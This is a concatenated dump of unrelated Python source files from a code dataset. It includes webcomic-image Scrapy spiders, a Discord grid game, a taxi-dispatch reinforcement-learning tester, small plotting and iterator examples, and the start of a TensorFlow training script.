hxs.select('//img/@src').extract()\n comicName = 'rice boy'\n baseUrl = 'http://www.rice-boy.com/see/'\n currentStoryLineName = ''\n for url in iCL:\n strip = ComicStripEntry()\n strip['comicName'] = comicName\n strElems = url.split('/')\n imageName = strElems[len(strElems)-1]\n if 'chapter' in url:\n self.currentStoryLineName = re.split('.(gif|png|jpg|jpeg)', imageName)[0]\n strip['storyLineName'] = self.currentStoryLineName \n if url not in self.explored_chapters:\n self.explored_chapters += [url]\n strip['imageLink'] = baseUrl+imageName\n yield strip\n else:\n strip['storyLineName'] = self.currentStoryLineName\n strip['imageLink'] = baseUrl+imageName\n yield strip\n\nclass OrderOfTalesSpider(CrawlSpider):\n name = \"OOTSpider\"\n allowed_domains = ['rice-boy.com']\n start_urls = ['http://www.rice-boy.com/order/']\n rules = (\n Rule(SgmlLinkExtractor(allow=('index.php\\?c')), callback='parse_item', follow=True),\n )\n\n def parse_item(self, response):\n hxs = HtmlXPathSelector(response)\n imageUrl = hxs.select('//img/@src').extract()[0]\n strip = ComicStripEntry()\n strip['comicName'] = 'order of tales'\n strip['imageLink'] = imageUrl\n return strip\n\nclass DresdenCodakSpider(BaseSpider):\n name = \"DCSpider\"\n allowed_domains = ['dresdencodak.com']\n start_urls = ['http://dresdencodak.com/archives/']\n \n def parse(self, response):\n hxs = HtmlXPathSelector(response)\n iCL = list(set(filter(lambda x : re.match('.*/[0-9]{4}/([0-9]{2}/){2}.*', x), hxs.select('//a/@href').extract())))\n for link in iCL:\n yield Request(link, callback=self.extractImageLink) \n\n def extractImageLink(self, response):\n hxs = HtmlXPathSelector(response)\n imageLink = filter(lambda x : '/comics/' in x, hxs.select('//img/@src').extract())[0]\n title = hxs.select('//div[@id=\"column\"]/.//h2/a/@title').extract()[0].lower()\n strip = ComicStripEntry()\n strip['comicName'] = 'dresden codak'\n if ' dark science ' in title:\n strip['storyLineName'] = 'dark science'\n elif ' hob ' in title:\n strip['storyLineName'] = 'hob'\n else:\n strip['storyLineName'] = 'guest comic'\n strip['imageLink'] = imageLink\n return strip\n\nclass GarfieldMinusGarfieldSpider(CrawlSpider):\n name = \"GMGSpider\"\n allowed_domains = ['garfieldminusgarfield.net']\n start_urls = ['http://garfieldminusgarfield.net/']\n rules = (\n Rule(SgmlLinkExtractor(allow=('/page/'), restrict_xpaths=('//a[@id=\"next\"]')), callback='parse_item', follow=True),\n )\n\n def parse_item(self, response):\n hxs = HtmlXPathSelector(response)\n imageLink = hxs.select('//div[@class=\"photo\"]/.//img/@src').extract()\n if len(imageLink) > 0:\n strip = ComicStripEntry()\n strip['comicName'] = 'garfield minus garfield'\n strip['imageLink'] = imageLink[0]\n return strip\n\nclass HannaIsNotABoysNameSpider(CrawlSpider):\n name = \"HINABNSpider\"\n allowed_domains = ['hanna.aftertorque.com']\n start_urls = ['http://hanna.aftertorque.com/']\n rules = (\n Rule(SgmlLinkExtractor(allow=('/?p='), restrict_xpaths=('//div[@class=\"nav-previous\"]/..//a[@rel=\"prev\"]')), callback='parse_item', follow=True),\n )\n\n def parse_item(self, response):\n hxs = HtmlXPathSelector(response)\n strip = ComicStripEntry()\n strip['comicName'] = \"hanna is not a boy's name\"\n strip['imageLink'] = hxs.select('//div[@id=\"comic\"]/.//img/@src').extract()[0]\n return strip\n\nclass PennyArcadeSpider(CrawlSpider):\n name = \"PASpider\"\n allowed_domains=['penny-arcade.com']\n start_urls = ['http://penny-arcade.com/comic']\n rules = (\n Rule(SgmlLinkExtractor(allow=('/comic/'), deny=('http://penny-arcade.com/comic/$'), restrict_xpaths=('//a[@class=\"btnPrev btn\"]')), callback='parse_item', follow=True),\n )\n def parse_item(self, response):\n hxs = HtmlXPathSelector(response)\n strip = ComicStripEntry()\n strip['comicName'] = 'penny arcade'\n strip['imageLink'] = hxs.select('//div[@class=\"post comic\"]/./img/@src').extract()[0]\n return strip\n\nclass DilbertSpider(CrawlSpider):\n name = \"DSpider\"\n allowed_domains = ['dilbert.com']\n start_urls = ['http://dilbert.com/']\n rules = (\n Rule(SgmlLinkExtractor(allow=('/[0-9]{4}-[0-9]{2}-[0-9]{2}/'), restrict_xpaths=('//a[@class=\"STR_Prev PNG_Fix\"]')), callback='parse_item', follow=True),\n )\n def parse_item(self, response):\n hxs = HtmlXPathSelector(response)\n strip = ComicStripEntry()\n strip['comicName'] = \"dilbert\"\n strip['imageLink'] = list(set(filter(lambda x : 'strip.zoom' in x, hxs.select('//img/@src').extract())))[0]\n return strip\n\n#endregion\n","sub_path":"scrape/scraped_comics/spiders/Comics.py","file_name":"Comics.py","file_ext":"py","file_size_in_byte":19095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"90742224","text":"import math\nn = 1000000\nnd4 = n//4\nlim = int(math.sqrt(n)//2)\ncount = [0]*(nd4+1)\ns = 0\nfor i in range(1, lim+1):\n for k in range(i**2+i, nd4+1, i):\n count[k] = count[k] + 1\nfor i in range(len(count)):\n if count[i] <= 10 and count[i] >= 1:\n s += 1\nprint(s)","sub_path":"p174.py","file_name":"p174.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"66560764","text":"import pandas as pd\nimport matplotlib\nimport matplotlib.pyplot as plt\n\ndf = pd.read_excel('./남북한발전전력량.xlsx')\n\n#한글설정\nmatplotlib.rcParams['font.family'] = 'NanumGothic'\nmatplotlib.rcParams['axes.unicode_minus'] = False\n\ndf_ns = df.iloc[[0,5],3:]\ndf_ns.index = ['남한','북한']\ndf_ns.columns = df_ns.columns.map(int)\n\n# 행, 열 전치하여 막대그래프 그리기\ntdf_ns = df_ns.T\nprint(tdf_ns.head())\nprint('\\n')\n\n\ntdf_ns.plot(kind='hist',title='남북한 발전 전력량')\n\nplt.show()","sub_path":"data_structure/df_plot_hist.py","file_name":"df_plot_hist.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"434712063","text":"__author__ = 'jianjiang'\n#! /usr/bin/python3\n# -*- coding: utf8 -*-\n\nclass SkipIterator:\n\tdef __init__(self,wrapped):\n\t\tself.wrapped=wrapped\n\t\tself.offset=0\t\t# 偏移量为0\n\t@property\n\tdef __next__(self):\n\t\tif self.offset>=len(self.wrapped):\n\t\t\traise StopIteration\t\t# 偏移量大于传入字符串的长度时,抛出异常\n\t\telse:\n\t\t\titem=self.wrapped[self.offset]\t\t# 在传入字符串长度范围内,将wrapped[offset]赋给item\n\t\t\tself.offset+=2\t\t\t# 偏移量向后推进2\n\t\t\treturn item\t\t\t\t# 返回item值\n\nclass SkipObject:\n\tdef __init__(self,wrapped):\n\t\tself.wrapped=wrapped\n\tdef __iter__(self):\n\t\treturn SkipIterator(self.wrapped)\n\nif __name__=='__main__':\n\talpha='abcdef'\n\tskipper=SkipObject(alpha)\n\tI=iter(skipper)\n\tprint(next(I),next(I),next(I))\t\t# 偏移量依次为0 2 4\n\n\tfor x in skipper:\t\t\t\t# 自动调用函数__iter__\n\t\tfor y in skipper:\n\t\t\tprint(x+y,end=' ')","sub_path":"pythonpy/skipper.py","file_name":"skipper.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"19230793","text":"#!/usr/bin/env python\n#\n# Copyright 2007 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport webapp2, json, sys, views, logging\nfrom google.appengine.ext import ndb\nfrom google.appengine.datastore.datastore_query import Cursor\nsys.path.insert(0,'libs')\nimport models\n\n\n\n\n\nclass VenuesHandler(views.Template):\n\tdef get(self):\n\t\tcurs = Cursor(urlsafe=self.request.get('cursor'))\n\t\tvens, next_curs, more = models.venue.Venue.query().fetch_page(10, start_cursor= curs)\n\t\t\n\t\tif more:\n\t\t\tnext = next_curs.urlsafe()\n\t\telse:\n\t\t\tnext = None\n\t\t\n\t\tvenues_states = [{'name':'Michigan', 'abbr':'MI'}, {'name':'Ohio', 'abbr':'OH'}]\n\t\ttemplate_values = {'venues_states':venues_states, 'venues':vens, 'cursor_for_next_page':next}\n\t\tself.render('venues.html', template_values)\n\n\tdef post(self):\n\t\t# NOTE: we are posting venue_type, state_code, gig_offer and the cursor from a previous request or null if this is the initial one.\n\t\tvens = models.venue.Venue.query().fetch(100)\n\t\tven_data =[]\n\t\tfor x in vens:\n\t\t\tdata = x.to_dict()\n\t\t\tdel data['profile_pic'], data['latest_update'], data['user_key']\n\t\t\tdata['venue_key'] = x.key.urlsafe()\n\t\t\tven_data.append(data)\n\t\n\t\t\n\n\t\tdata = {'venue_data':ven_data}\n\t\tself.response.headers.add_header('content-type', 'application/json', charset='utf-8')\n\t\tself.response.out.write(json.dumps(data))\n\n\nclass VenueHandler(views.Template):\n\tdef get(self):\n\t\ttry:\n\t\t\tvenue_key = ndb.Key(urlsafe=self.request.get('id'))\n\t\t\tdata = venue_key.get()\n\t\texcept Exception as e:\n\t\t\tlogging.exception(e)\n\t\t\tdata = None\n\t\ttemplate_values = {'venue':data}\n\t\tself.render('venue.html', template_values)\n \t\t \t\t \t\t\napp = webapp2.WSGIApplication([\n \n ('/venues', VenuesHandler),\n ('/venue', VenueHandler),\n \n], debug=True)\n","sub_path":"venues.py","file_name":"venues.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"459951717","text":"import matplotlib.pyplot as plt\nfrom matplotlib import colors\nimport numpy as np\nfrom matplotlib import animation as anim\nimport pandas as pd\n\naddColumn = np.array([10000, 10000, 10000])\naddRow = np.array([10000, 10000, 10000, 10000, 10000])\ndf = []\nX, Y = np.mgrid[:3:3j, :3:3j]\n\ncpt = 0\nangle = 0\nfirst_angle = \"\"\n\ndf = pd.read_csv('synth4.csv').values\n\n# Different sets of data for various directions to test\ndf = df[2205:] # NE\n# df = df[2800:] # SW\n# df = df[1000:] # E\n# df = df[2000:] # W\n# df = df[3100:] # NW\n# df = df[500:] # N\n# df = df[1480:] # SE\naList = []\n\nfig, ax = plt.subplots()\n\nfor i in range(0, 99):\n x = np.reshape(df[i][1:], (3, 3))\n x = np.concatenate((x, addColumn[:, None]), axis=1)\n x = np.concatenate((addColumn[:, None], x), axis=1)\n x = np.concatenate((x, addRow[:, None].T), axis=0)\n x = np.concatenate((addRow[:, None].T, x), axis=0)\n\n aList.append(x)\n aList[i] = np.flip(aList[i], 0)\n\naList = np.array(aList, dtype=int)\n\nax.get_xaxis().set_visible(False)\nax.get_yaxis().set_visible(False)\n\n# define the colormap\ncmap = plt.cm.gray\n\nbounds = [100, 1000, 10000]\n\nnorm = colors.BoundaryNorm(bounds, cmap.N)\n\nimage = plt.imshow(aList[0], interpolation='none', cmap=cmap, vmin=100, vmax=10000)\n\n\ndef plot_matrix(rm):\n image.set_data(rm)\n plt.xticks([]), plt.yticks([])\n\n\ndef update_matrix(num):\n global cpt\n global angle\n global first_angle\n\n x7 = aList[num][1][1]\n x8 = aList[num][1][2]\n x9 = aList[num][1][3]\n x4 = aList[num][2][1]\n x5 = aList[num][2][2]\n x6 = aList[num][2][3]\n x1 = aList[num][3][1]\n x2 = aList[num][3][2]\n x3 = aList[num][3][3]\n plot_matrix(aList[num])\n\n # We determine first the angle from where the object is coming from\n if first_angle == \"\":\n print(\"first angle :\", original_angle(x1, x3, x7, x9))\n\n # From there we check the progression of the object, pixel by pixel of the matrix\n if first_angle == \"NE\":\n north_east(x1, x2, x3, x4, x5, x6, x7, x8, x9)\n if first_angle == \"SE\":\n south_east(x1, x2, x3, x4, x5, x6, x7, x8, x9)\n if first_angle == \"NW\":\n north_west(x1, x2, x3, x4, x5, x6, x7, x8, x9)\n if first_angle == \"SW\":\n south_west(x1, x2, x3, x4, x5, x6, x7, x8, x9)\n\n # The calculation of the angle is based on the trigonometric circle, but from 0 to 360 degrees\n if cpt != 0:\n print(\"\\nangle : \", int(angle / cpt))\n\n\ndef original_angle(x1, x3, x7, x9):\n global first_angle\n if x1 <= 1000:\n first_angle = \"NE\"\n elif x3 <= 1000:\n first_angle = \"NW\"\n elif x7 <= 1000:\n first_angle = \"SE\"\n elif x9 <= 1000:\n first_angle = \"SW\"\n return first_angle\n\n\ndef north_east(x1, x2, x3, x4, x5, x6, x7, x8, x9):\n global cpt\n global angle\n if x1 <= 1000:\n cpt += 1.0\n angle += 45.0\n elif x2 <= 1000:\n cpt += 1.0\n angle += 0.0\n elif x3 <= 1000:\n cpt += 1.0\n angle += 0.0\n elif x4 <= 1000:\n cpt += 1.0\n angle += 90.0\n elif x5 <= 1000:\n cpt += 1.0\n angle += 45.0\n elif x6 <= 1000:\n cpt += 1.0\n angle += 0.0\n elif x7 <= 1000:\n cpt += 1.0\n angle += 90.0\n elif x8 <= 1000:\n cpt += 1.0\n angle += 90.0\n elif x9 <= 1000:\n cpt += 1.0\n angle += 45.0\n\n\ndef south_east(x1, x2, x3, x4, x5, x6, x7, x8, x9):\n global cpt\n global angle\n if x1 <= 1000:\n cpt += 1.0\n angle += 270.0\n elif x2 <= 1000:\n cpt += 1.0\n angle += 270.0\n elif x3 <= 1000:\n cpt += 1.0\n angle += 315.0\n elif x4 <= 1000:\n cpt += 1.0\n angle += 270.0\n elif x5 <= 1000:\n cpt += 1.0\n angle += 315.0\n elif x6 <= 1000:\n cpt += 1.0\n angle += 360.0\n elif x7 <= 1000:\n cpt += 1.0\n angle += 315.0\n elif x8 <= 1000:\n cpt += 1.0\n angle += 360.0\n elif x9 <= 1000:\n cpt += 1.0\n angle += 360.0\n\n\ndef north_west(x1, x2, x3, x4, x5, x6, x7, x8, x9):\n global cpt\n global angle\n if x1 <= 1000:\n cpt += 1.0\n angle += 180.0\n elif x2 <= 1000:\n cpt += 1.0\n angle += 180.0\n elif x3 <= 1000:\n cpt += 1.0\n angle += 135.0\n elif x4 <= 1000:\n cpt += 1.0\n angle += 180.0\n elif x5 <= 1000:\n cpt += 1.0\n angle += 135.0\n elif x6 <= 1000:\n cpt += 1.0\n angle += 90.0\n elif x7 <= 1000:\n cpt += 1.0\n angle += 135.0\n elif x8 <= 1000:\n cpt += 1.0\n angle += 90.0\n elif x9 <= 1000:\n cpt += 1.0\n angle += 90.0\n\n\ndef south_west(x1, x2, x3, x4, x5, x6, x7, x8, x9):\n global cpt\n global angle\n if x1 <= 1000:\n cpt += 1.0\n angle += 225.0\n elif x2 <= 1000:\n cpt += 1.0\n angle += 270.0\n elif x3 <= 1000:\n cpt += 1.0\n angle += 270.0\n elif x4 <= 1000:\n cpt += 1.0\n angle += 180.0\n elif x5 <= 1000:\n cpt += 1.0\n angle += 225.0\n elif x6 <= 1000:\n cpt += 1.0\n angle += 270.0\n elif x7 <= 1000:\n cpt += 1.0\n angle += 180.0\n elif x8 <= 1000:\n cpt += 1.0\n angle += 180.0\n elif x9 <= 1000:\n cpt += 1.0\n angle += 225.0\n\n\nanim = anim.FuncAnimation(fig, update_matrix, interval=150, blit=False)\n\nplt.show()\n","sub_path":"cloud_direction.py","file_name":"cloud_direction.py","file_ext":"py","file_size_in_byte":5367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"200542817","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2010 Majormode. All rights reserved.\n#\n# This software is the confidential and proprietary information of\n# Majormode or one of its subsidiaries. You shall not disclose this\n# confidential information and shall use it only in accordance with\n# the terms of the license agreement or other applicable agreement you\n# entered into with Majormode.\n#\n# MAJORMODE MAKES NO REPRESENTATIONS OR WARRANTIES ABOUT THE\n# SUITABILITY OF THE SOFTWARE, EITHER EXPRESS OR IMPLIED, INCLUDING\n# BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT. MAJORMODE\n# SHALL NOT BE LIABLE FOR ANY LOSSES OR DAMAGES SUFFERED BY LICENSEE\n# AS A RESULT OF USING, MODIFYING OR DISTRIBUTING THIS SOFTWARE OR ITS\n# DERIVATIVES.\n#\n# @version $Revision$\n\n\nclass ReminderAction(object):\n REMINDER_ACTION_EMAIL = 0\n REMINDER_ACTION_SMS = 1\n REMINDER_ACTION_POPUP = 2\n\n def __init__(self, action_type):\n self.action_type = action_type\n\n\nclass ReminderTrigger(object):\n pass\n\nclass ReminderTriggerLocation(ReminderTrigger):\n def __init__(self, coordinates):\n super(ReminderTriggerLocation, self).__init__()\n self.coordinates = coordinates\n\nclass ReminderTriggerUser(ReminderTrigger):\n def __init__(self, account):\n super(ReminderTriggerUser, self).__init__()\n self.account = account\n\nclass ReminderTrigggerVenue(ReminderTrigger):\n def __init__(self, venue, radius):\n super(ReminderTrigggerVenue, self).__init__()\n self.venue = venue\n self.radius = radius\n\nclass ReminderTriggerTime(ReminderTrigger):\n def __init__(self, start_time, end_time=None, occurences=None):\n super(ReminderTriggerTime, self).__init__()\n self.start_time = start_time\n self.end_time = end_time\n self.occurences = occurences\n\n\nclass Reminder(object):\n def __init__(self,\n content,\n triggers,\n actions):\n self.content = content\n self.triggers = triggers\n self.actions = actions\n","sub_path":"majormode/perseus/model/reminder.py","file_name":"reminder.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"554613963","text":"import copy\nimport time\nfrom operator import attrgetter\n\nimport discord\n\nclass waveRPG():\n BOARD_X = 4\n BOARD_Y = 7\n BUTTONS = {'1️⃣':0,'2️⃣':1,'3️⃣':2,'4️⃣':3,'⌛':4}\n WINNER_BUTTONS = {'🎉':0,'🇺':1,'🎊':2,'🇼':3,'🇴':5,'🇳':6,'🍾':7}\n BLANK_TILE = \"➕\"\n PRIMARY_TILE = \"🟠\"\n LIFE_ICON = \"❤️\"\n PRIMARY_COLOR = (255,175,44)\n\n def __init__(self, client, db, channel, message, primary, tertiary):\n self.client = client\n self.db = db\n self.channel = channel\n self.message = message\n self.primary = primary\n self.tertiary = tertiary\n self.current_player = self.primary\n self.has_buttons = False\n self.winner = None\n self.lives = 3\n\n self.current_level = 0\n self.levels = {\n 0: {(0,0):bug(0,0)}\n }\n self.board = [[None,None,None,None],\n [None,None,None,None],\n [None,None,None,None],\n [None,None,None,None],\n [None,None,None,None],\n [None,None,None,None],\n [None,None,None,None]]\n self.tile_state = self.init_board()\n\n def is_completed(self):\n return True if self.winner else False\n\n def detect_current_player_win(self):\n return False\n\n def init_board(self):\n return copy.deepcopy(self.levels[self.current_level])\n\n async def play_move(self, payload):\n await self.message.remove_reaction(payload.emoji, payload.member)\n input_x = self.BUTTONS[payload.emoji.name]\n\n # sort by speed\n priority = list(self.tile_state.values())\n priority = sorted(priority, key=attrgetter('speed', 'y'), reverse=True)\n current_coordinates = [(x.x, x.y) for x in priority]\n\n print(priority)\n print([attrgetter('speed', 'y')(x) for x in priority])\n\n for x,y in current_coordinates:\n copy.deepcopy(self.tile_state[(x, y)]).advance(self.tile_state)\n \n if input_x != 4: # wait command\n self.tile_state[(input_x, self.BOARD_Y - 1)] = pawn(\n x=input_x,\n y=self.BOARD_Y - 1,\n icon=self.get_player_emoji()\n )\n await self.render_message()\n\n return True\n \n async def render_message(self):\n if not self.winner:\n header = f\"It's your move, {self.primary.name}\\n{' '.join([self.LIFE_ICON]*self.lives)}\"\n else:\n header = f\"Congratulations, {self.winner.name}\"\n container = discord.Embed(title=header, color=self.get_container_color())\n container.add_field(name=self.render_board(), value=\"⠀\", inline=True)\n await self.message.edit(content=f\"{self.primary.mention} ⚔️ {self.tertiary.mention}\", embed=container)\n await self.refresh_buttons()\n\n def is_player_current(self, player):\n return self.current_player == player\n\n def get_container_color(self):\n db_primary = self.db.get_player(self.primary.id)\n primary_color = db_primary[2] if db_primary[2] else self.PRIMARY_COLOR\n return discord.Color.from_rgb(*primary_color)\n\n def get_player_emoji(self):\n db_primary = self.db.get_player(self.primary.id)\n primary_tile = db_primary[1] if db_primary[1] else self.PRIMARY_TILE\n return primary_tile\n\n def render_board(self):\n ret = \"\"\n for y, row in enumerate(self.board):\n for x, tile in enumerate(row):\n if (x,y) in self.tile_state:\n ret += f\"{self.tile_state[(x,y)].icon}\\t\\t\"\n else:\n ret += f\"{self.BLANK_TILE}\\t\\t\"\n ret += \"\\n\\n\\n\"\n if not self.winner:\n ret += '\\t\\t'.join(list(self.BUTTONS.keys())[:-1])\n else:\n ret += '\\t\\t'.join(self.WINNER_BUTTONS.keys())\n return ret\n\n async def refresh_buttons(self):\n if not self.winner and not self.has_buttons:\n for emoji in self.BUTTONS.keys():\n await self.message.add_reaction(emoji)\n self.has_buttons = True\n elif self.winner:\n await self.message.clear_reactions()\n\n\nclass unit():\n def __init__(self, x, y, speed, icon):\n self.x = x\n self.y = y\n self.speed = speed\n self.icon = icon\n \n def advance(self, tile_state):\n tile_state[(self.x,self.y)] = self\n\n\nclass monster(unit):\n def __init__(self, x, y, speed, icon=\"🃏\"):\n super().__init__(x=x, y=y, speed=speed, icon=icon)\n\n\nclass player(unit):\n def __init__(self, x, y, speed, icon=\"🀄\"):\n super().__init__(x=x, y=y, speed=speed, icon=icon)\n\n\nclass pawn(player):\n def __init__(self, x, y, speed=1, icon=\"🐦\"):\n super().__init__(x=x, y=y, speed=speed, icon=icon)\n\n def advance(self, tile_state):\n if (self.x,self.y) in tile_state:\n del tile_state[(self.x,self.y)]\n if (self.x - 1,self.y - 1) in tile_state and is_monster(self.x - 1, self.y - 1, tile_state):\n del tile_state[(self.x - 1,self.y - 1)]\n self.x -= 1\n self.y -= 1\n elif (self.x + 1,self.y - 1) in tile_state and is_monster(self.x + 1, self.y - 1, tile_state):\n del tile_state[(self.x + 1,self.y - 1)]\n self.x += 1\n self.y -= 1\n elif (self.x,self.y-1) not in tile_state:\n self.y -= 1\n tile_state[(self.x,self.y)] = self\n\n\nclass bug(monster):\n def __init__(self, x, y, speed=-1, icon=\"🐛\"):\n super().__init__(x=x, y=y, speed=speed, icon=icon)\n\n def advance(self, tile_state):\n if (self.x,self.y) in tile_state:\n del tile_state[(self.x,self.y)]\n self.y += 1\n tile_state[(self.x,self.y)] = self\n\n\ndef is_monster(x, y, tile_state):\n return (x, y) in tile_state and isinstance(tile_state[(x, y)], monster)\n\n\ndef is_player(x, y, tile_state):\n return (x, y) in tile_state and isinstance(tile_state[(x, y)], player)","sub_path":"games/waveRPG.py","file_name":"waveRPG.py","file_ext":"py","file_size_in_byte":6084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"290250419","text":"import os, sys\nimport pickle as pkl\nfrom src.Solvers.Solver import Solver\nfrom src.Generator import Generator\nimport gym\nfrom tqdm import tqdm\nimport time\nimport uuid\nimport numpy as np\nimport logging\nimport imageio\n\nclass TestingSolver(Solver):\n def __init__(self, **params):\n super().__init__(**params)\n self.time_periods = self.params['dataset'][\"time_periods\"]\n self.days = self.params['dataset'][\"days\"]\n self.load_dataset()\n self.init_gym()\n\n def init_gym(self):\n env_params = {\n \"world\": self.world,\n \"orders\": self.real_orders,\n \"order_sampling_rate\": 1./self.params['dataset']['days']*self.params['dataset']['order_sampling_multiplier'],\n \"drivers_per_node\": self.idle_driver_locations[0,:],\n \"n_intervals\": self.time_periods,\n \"wc\": self.params[\"wc\"],\n \"count_neighbors\": self.params['count_neighbors'] == 1,\n \"weight_poorest\": 0,\n \"normalize_rewards\": 0,\n \"minimum_reward\": 0,\n \"include_income_to_observation\": self.params.get('include_income_to_observation', 0) == 1,\n \"poorest_first\": self.params.get(\"poorest_first\", 0) == 1,\n \"idle_reward\": self.params.get(\"idle_reward\", 0) == 1\n }\n env_id = \"TaxiEnvBatch{}-v01\".format(str(uuid.uuid4()))\n gym.envs.register(\n id=env_id,\n entry_point='gym_taxi.envs:TaxiEnvBatch',\n kwargs=env_params\n )\n self.testing_env = gym.make(env_id)\n\n def load_dataset(self):\n '''\n load complete dataset\n note that orders are merged into a single day, and then sampled out of there\n '''\n dataset_params = self.params['dataset']\n gen = Generator(self.params['tag'], dataset_params)\n self.world, self.idle_driver_locations, self.real_orders, \\\n self.onoff_driver_locations, random_average, dist = gen.load_complete_set(dataset_id=self.params['dataset']['dataset_id'])\n\n def do_test_iteration(self, draw=False):\n stats = {}\n t = time.time()\n randseed = np.random.randint(1,100000)\n stats['seed'] = randseed\n self.testing_env.seed(randseed)\n state = self.testing_env.reset()\n info = self.testing_env.get_reset_info()\n rewards = []\n min_income = []\n idle_reward = []\n min_idle = []\n done = False\n it = 0\n order_response_rates = []\n nodes_with_drivers = []\n nodes_with_orders = []\n\n images = []\n\n while not done:\n action = self.predict(state, info)\n state, reward, done, info = self.testing_env.step(action)\n\n if draw and it == 1:\n images.append(self.testing_env.render(mode=\"rgb_array\"))\n\n order_response_rates.append(float(info['served_orders']/(info['total_orders']+0.0001)))\n nodes_with_drivers.append(int(info['nodes_with_drivers']))\n nodes_with_orders.append(int(info['nodes_with_orders']))\n min_income.append(self.testing_env.get_min_revenue())\n rewards.append(reward)\n idle_reward.append(info['idle_reward'])\n min_idle.append(info['min_idle'])\n it += 1\n assert it == self.time_periods, (it, self.time_periods)\n stats['income_distr'] = [float(d.get_income()) for d in self.testing_env.itEnv.all_driver_list]\n stats['order_response_rates'] = float(np.mean(order_response_rates))\n stats['order_response_rates_std'] = float(np.std(order_response_rates))\n stats['nodes_with_drivers'] = float(np.mean(nodes_with_drivers))\n stats['nodes_with_orders'] = float(np.mean(nodes_with_orders))\n stats['nodes_with_drivers_std'] = float(np.std(nodes_with_drivers))\n stats['nodes_with_orders_std'] = float(np.std(nodes_with_orders))\n stats['min_income'] = float(min_income[-1])\n stats['rewards'] = float(np.sum(rewards))\n stats['min_idle'] = float(min_idle[-1])\n stats['idle_reward'] = float(np.mean(idle_reward))\n stats['testing_iteration_time'] = time.time() - t\n return stats, images\n\n def test(self):\n t1 = time.time()\n self.log['seeds'] = []\n total_reward_per_epoch = []\n total_min_reward_per_epoch = []\n total_min_idle_per_epoch = []\n total_idle_per_epoch = []\n\n total_test_days = self.params['testing_epochs']\n\n if self.verbose:\n pbar = tqdm(total=total_test_days, desc=\"Testing Solver\")\n for day in range(total_test_days):\n stats, images = self.do_test_iteration(draw = False)\n # need to rereun all experiments in server to plot because current ones\n # are done with graph with missing coordinates\n\n total_min_reward_per_epoch.append(stats['min_income'])\n total_reward_per_epoch.append(np.sum(stats['rewards']))\n total_min_idle_per_epoch.append(stats['min_idle'])\n total_idle_per_epoch.append(np.mean(stats['idle_reward']))\n self.log.update(stats)\n if self.verbose:\n pbar.update()\n\n if self.verbose:\n pbar.close()\n\n self.log['test_total_min_reward_per_epoch'] = float(np.mean(total_min_reward_per_epoch))\n self.log['test_total_reward_per_epoch'] = float(np.mean(total_reward_per_epoch))\n self.log['test_total_min_reward_per_epoch_std'] = float(np.std(total_min_reward_per_epoch))\n self.log['test_total_reward_per_epoch_std'] = float(np.std(total_reward_per_epoch))\n\n self.log['test_total_min_idle_per_epoch_std'] = float(np.std(total_min_idle_per_epoch))\n self.log['test_total_idle_per_epoch_std'] = float(np.std(total_idle_per_epoch))\n self.log['test_total_min_idle_per_epoch'] = float(np.mean(total_min_idle_per_epoch))\n self.log['test_total_idle_per_epoch'] = float(np.mean(total_idle_per_epoch))\n\n self.log['test_test_time'] = time.time() - t1\n\n logging.info(\"Testing finished with total obj {}, min obj {}\".format(self.log['test_total_reward_per_epoch'], self.log['test_total_min_reward_per_epoch']))\n\n if len(images) > 0:\n imageio.mimwrite(os.path.join(self.dpath, 'taxi_env.gif'),\n [np.array(img) for i, img in enumerate(images)], format=\"GIF-PIL\", fps=5)\n\n def predict(self, state, info):\n raise NotImplementedError()\n","sub_path":"src/Solvers/TestingSolver.py","file_name":"TestingSolver.py","file_ext":"py","file_size_in_byte":6481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"441429753","text":"from functools import wraps\nimport re\n\n\ndef valid_helper(func):\n @wraps(func)\n def wrapped(text):\n arg = None\n while arg == None:\n arg = func(input(text))\n return arg\n return wrapped\n\ndef get_frequency(path):\n\tfrequency = {}\n\twith open(path) as f:\n\t\ttext_string = f.read().lower()\n\t\tmatch_pattern = re.findall(r'\\b[а-яё]+|[a-z]{1,100}\\b', text_string)\n\t\tfor word in match_pattern:\n\t\t\tfr_count = frequency.get(word,0)\n\t\t\tfrequency[word] = fr_count + 1\n\n\t\treturn frequency\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"482421932","text":"\"\"\"\"\nTrain the model\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport GeoSimilarity.src.inputs as ginput\nimport GeoSimilarity.src.model as gmodel\nimport GeoSimilarity.src.loss as gloss\nimport GeoSimilarity.src.train_op as gtrain_op\nimport GeoSimilarity.src.utils as utils\n\nimport tensorflow as tf\n\nfrom tensorflow.contrib.training.python.training import training\n\nflags = tf.flags\n\n# Data parameters\nflags.DEFINE_integer('img_size', 64, 'Image height and 